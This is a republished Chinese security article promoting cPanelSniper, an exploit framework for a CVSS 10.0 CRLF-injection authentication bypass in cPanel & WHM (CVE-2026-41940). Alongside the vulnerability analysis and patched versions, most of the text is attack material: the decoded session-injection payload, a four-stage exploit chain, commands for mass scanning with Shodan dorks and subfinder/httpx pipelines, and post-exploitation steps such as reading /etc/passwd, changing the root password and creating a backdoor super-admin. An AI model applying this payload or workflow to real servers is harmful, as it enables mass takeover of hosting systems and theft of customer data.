cPanelSniper:CVSS10.0的cPanel认证绕过漏洞利用框架

admin 2026-05-11 07:22:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了CVE-2026-41940漏洞,这是一个CVSS10.0的cPanel&WHM认证绕过漏洞,攻击者可通过CRLF注入在无凭证情况下获取root级WHM访问权限。文章阐述了漏洞原理、四阶段利用链、受影响版本及修复方案,并介绍了cPanelSniper工具的使用方法,包括批量扫描、交互式shell和后渗透操作命令。 综合评分: 87 文章分类: 漏洞分析,渗透测试,WEB安全,红队,安全工具


cover_image

cPanelSniper:CVSS 10.0的cPanel认证绕过漏洞利用框架

幻泉之洲

2026年5月4日 13:00 北京

在小说阅读器读本章

去阅读

cPanelSniper是一个针对CVE-2026-41940漏洞的利用框架,该漏洞允许攻击者通过CRLF注入绕过cPanel & WHM的认证,获取root级别WHM访问权限。工具纯Python编写,无外部依赖,支持批量扫描、交互式shell和后渗透操作。本文详细分析漏洞原理、利用链、使用方法和实战案例。

概述

CVE-2026-41940是cPanel & WHM的一个关键认证绕过漏洞,CVSS评分10.0。攻击者不需要任何有效凭证,仅通过在HTTP请求的Authorization头部注入CRLF序列,就能将脏数据写入会话文件,最终拿到root级WHM控制权。根据官方数据,全球约7000万个域名运行cPanel,而这个漏洞在2026年4月已被证实存在野外利用。

漏洞编号:NVD – CVE-2026-41940

漏洞原理

问题出在Session.pm这个模块里。saveSession()函数在把会话文件写入磁盘之前,先调用了filter_sessiondata()做过滤——但文件已经在磁盘上了。这意味着Authorization: Basic头部里的CRLF字符会被原样写入会话文件,攻击者控制的字段在过滤之前就已经存在了。

正常流程:   POST /login/ → filter_sessiondata() → 写会话 → 认证检查

漏洞流程:   POST /login/ → 写会话(CRLF载荷注入)→ filter_sessiondata() → 认证读取被污染的文件

CRLF载荷

Authorization: Basic的值解码后是这样的:

root:x successful_internal_auth_with_timestamp=9999999999 user=root tfa_verified=1 hasroot=1

这些字段直接写进会话文件。cPanel读文件的时候,把这些当成了合法的会话字段,于是赋予完全root权限。

四阶段利用链

整个漏洞利用分四步走:

  • Stage 0 — 主机名发现:GET /openid_connect/cpanelid → 307跳转暴露真实主机名
  • Stage 1 — 铸造预认证会话:POST /login/?login_only=1(用错误凭证)→ 拿到401响应和whostmgrsession cookie
  • Stage 2 — CRLF注入:GET / + Cookie: session + Authorization: Basic(带CRLF)→ cpsrvd把CRLF字段写入会话文件 → 307跳转到/cpsessXXXXXXXXXX/…
  • Stage 3 — 触发do_token_denied gadget:GET /scripts2/listaccts → 触发原始会话→缓存刷新,让注入的字段生效 → 401 Token denied(正常现象)
  • Stage 4 — 验证WHM root访问:GET /cpsessXXXXXXXXXX/json-api/version → 200返回版本信息,表示渗透成功

受影响版本

| 分支 | 受影响版本 | 修复版本 | | — | — | — | | 110.x | ≤ 11.110.0.96 | 11.110.0.97 | | 118.x | ≤ 11.118.0.62 | 11.118.0.63 | | 126.x | ≤ 11.126.0.53 | 11.126.0.54 | | 132.x | ≤ 11.132.0.28 | 11.132.0.29 | | 134.x | ≤ 11.134.0.19 | 11.134.0.20 | | 136.x | ≤ 11.136.0.4 | 11.136.0.5 |

基本用法

扫描单个目标:

仅扫描

python3 cPanelSniper.py -u https://target.com:2087

扫描并进入交互式shell

python3 cPanelSniper.py -u https://target.com:2087 –action shell

批量扫描

python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

强制扫描(跳过cPanel检测)

python3 cPanelSniper.py -u https://target.com:2087 –force

后渗透操作

列出所有cPanel账户

python3 cPanelSniper.py -u https://target.com:2087 –action list

执行OS命令

python3 cPanelSniper.py -u https://target.com:2087 –action cmd –cmd “id;whoami;uname -a” python3 cPanelSniper.py -u https://target.com:2087 –action cmd –cmd “ls /home” python3 cPanelSniper.py -u https://target.com:2087 –action cmd –cmd “cat /etc/passwd”

获取服务器信息(主机名、负载、磁盘、MySQL主机)

python3 cPanelSniper.py -u https://target.com:2087 –action info

获取cPanel版本

python3 cPanelSniper.py -u https://target.com:2087 –action version

修改root密码

python3 cPanelSniper.py -u https://target.com:2087 –action passwd –passwd ‘NewPass@2026!’

交互式WHM shell

python3 cPanelSniper.py -u https://target.com:2087 –action shell

管道集成

这款工具天生适合与其他工具配合:

subfinder + httpx + cPanelSniper

subfinder -d target.com -silent | \   httpx -silent -ports 2087,2086 -threads 50 | \   python3 cPanelSniper.py -t 30 -o results.json

从scope列表读取

cat scope.txt | \   httpx -silent -ports 2087,2086 -threads 100 | \   python3 cPanelSniper.py -t 30 -o results.json

Shodan结果

shodan search –fields ip_str,port ‘title:”WHM Login”‘ | \   awk ‘{print “https://”$1”:”$2}’ | \   python3 cPanelSniper.py -t 30 -o shodan_results.json

标准输入管道

echo “https://target.com:2087” | python3 cPanelSniper.py

多来源合并

{ subfinder -d target.com -silent; cat extra.txt; } | \   httpx -silent -ports 2087 | \   python3 cPanelSniper.py -t 20 –action list

交互式WHM Shell

成功绕过后,使用--action shell会进入一个交互式提示符:

════════════════════════════════════════════════════════════   WHM Shell — target.com   Version: CVE-2026-41940 | Auth: CRLF bypass   Type ‘help’ for commands, ‘exit’ to quit ════════════════════════════════════════════════════════════

[email protected] ▶ id   uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts   [cPanel Accounts]  target.com:2087 (47 users)     user01               domain: example.com    email: [email protected]     user02               domain: shop.com       email: [email protected]     …

[email protected] ▶ cat /etc/passwd   root:x:0:0:root:/root:/bin/bash   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin   …

[email protected] ▶ info   [Server Info]  https://target.com:2087   hostname: srv01.target.com   load: 0.72 / 0.66 / 0.69   version: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!   [BACKDOOR ADMIN CREATED]   Target   : https://target.com:2087   Username : mitsec   Password : P@ss2026!   Profile  : super_admin

[email protected] ▶ exit

Shell命令列表

| 命令 | 描述 | | — | — | | id / whoami | 显示UID和主机名 | | hostname | 获取服务器主机名 | | version | cPanel版本信息 | | info | 负载、磁盘、MySQL主机、版本 | | accounts | 列出所有cPanel用户账户 | | cat <文件> | 读取文件内容 | | ls [路径] | 列出目录 | | exec <命令> | 执行OS命令 | | addadmin <用户名><密码> | 创建后门WHM管理员 | | passwd <新密码> | 修改root密码 | | api <模块> [k=v …] | 原始WHM JSON API调用 | | help | 显示所有命令 | | exit | 退出Shell |

CLI参考

usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [–hostname HOSTNAME]                        [-t THREADS] [–timeout TIMEOUT] [–rate-limit N]                        [–action ACTION] [–passwd PASS] [–cmd CMD]                        [–new-user USER] [–new-domain DOMAIN]                        [-o OUTPUT] [–no-color]

Target:   -u, –url URL         单个目标URL(例如 https://host:2087)   -l, –list LIST       包含URL的文件(每行一个)   –hostname HOSTNAME   覆盖规范化的Host头(自动发现)

Scan:   -t, –threads N       并发线程数(默认:10)   –timeout N           请求超时秒数(默认:15)   –rate-limit N        目标间延迟(默认:0)   –force               跳过cPanel检测

Post-Exploit:   –action ACTION       动作:list | passwd | cmd | exec | info |                                  version | shell | adduser   –passwd PASS         新root密码(配合–action passwd)   –cmd CMD             OS命令(配合–action cmd/exec)   –new-user USER       新cPanel用户名(配合–action adduser)   –new-domain DOMAIN   新cPanel域名(配合–action adduser)

Output:   -o, –output FILE     将结果保存为JSON文件   –no-color            禁用ANSI颜色

Shodan搜索语法

title:”WHM Login” title:”WebHost Manager” port:2087 product:”cPanel” port:2087 http.title:”cPanel” port:2083 ssl.cert.subject.cn:”cPanel” port:2087

输出示例

██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗   ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║   …

  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection   4-stage: preauth → CRLF inject → propagate → verify → post-exploit   In-The-Wild | CVSS 10.0 | By Mitsec (@ynsmroztas)

  Configuration:    Targets  : 1    Threads  : 10    Timeout  : 15s    Action   : list

14:46:22 [SCAN] Starting 4-stage exploit chain… https://target.com:2087 14:46:23 [INFO] Canonical hostname discovered: srv01.target.com 14:46:23 [STEP] Stage 1/4 — Minting preauth session… 14:46:23 [  OK] Stage1: preauth session = :QFB4o8XENBqlr6U1… 14:46:23 [STEP] Stage 2/4 — CRLF injection via Authorization header… 14:46:24 [  OK] Stage2: HTTP 307 → token=/cpsess8493537756 14:46:24 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)… 14:46:25 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired 14:46:25 [STEP] Stage 4/4 — Verifying WHM root access… 14:46:26 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! 14:46:26 [PWND]   Token    : /cpsess8493537756 14:46:26 [PWND]   Version  : 11.130.0.6 14:46:26 [PWND]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version 14:46:26 [ API] Running post-exploit action: list 14:46:27 [ API] listaccts → HTTP 200

  [cPanel Accounts]  target.com:2087 (47 accounts)     client01    domain: client01.com    email: [email protected]     client02    domain: client02.net    email: [email protected]     …

══════════════════════════════════════════════════════════════════════   cPanelSniper — Scan Complete   Time: 5.8s  ·  Targets: 1

  ⚡ 1 VULNERABLE TARGET(S)

  Target   : https://target.com:2087   Version  : 11.130.0.6   Token    : /cpsess8493537756   API URL  : https://target.com:2087/cpsess8493537756/json-api/version ══════════════════════════════════════════════════════════════════════

技术细节

会话文件注入

注入的Authorization: Basic值(base64解码后)包含CRLF序列,在会话文件中变成换行:

root:x\r\n successful_internal_auth_with_timestamp=9999999999\r\n user=root\r\n tfa_verified=1\r\n hasroot=1

cPanel的会话读取器把这些解析为合法的会话字段,从而授予完全root WHM访问权限。

Stage 3 — do_token_denied gadget

这一步经常被忽略。CRLF注入(Stage 2)之后,被污染的会话数据只存在于原始会话文件中。对/scripts2/listaccts发一个请求会触发内部的do_token_denied处理器,该处理器会把原始会话数据刷新到会话缓存。没有这一步刷新,Stage 4会返回403。

会话令牌提取

Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; …                               ^              ^                               |              +– ob hash(已剥离)                               +– 会话名称(用于注入)

会话名称(在%2C之前)被提取出来,作为后续请求的cookie值。

参考资料

  • watchTowr Labs — CVE-2026-41940技术分析(https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/)
  • cPanel安全公告(https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026)
  • NVD — CVE-2026-41940(https://nvd.nist.gov/vuln/detail/CVE-2026-41940)
  • Hadrian博客 — CVE-2026-41940分析(https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel)
  • Nuclei模板 — CVE-2026-41940(https://cloud.projectdiscovery.io/library/CVE-2026-41940)

获取方式:私信回复”cPanelSniper”获取


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《cPanelSniper:CVSS 10.0的cPanel认证绕过漏洞利用框架》

e0e1-wx重构gui大更新 网络安全文章

e0e1-wx重构gui大更新

文章总结: 本文介绍e0e1-wx工具的重大GUI重构更新,新增自动化反编译源代码、正则匹配、代码优化、devtools_cdp、路由跳转、云函数扫描和加密解密
评论:0   参与:  0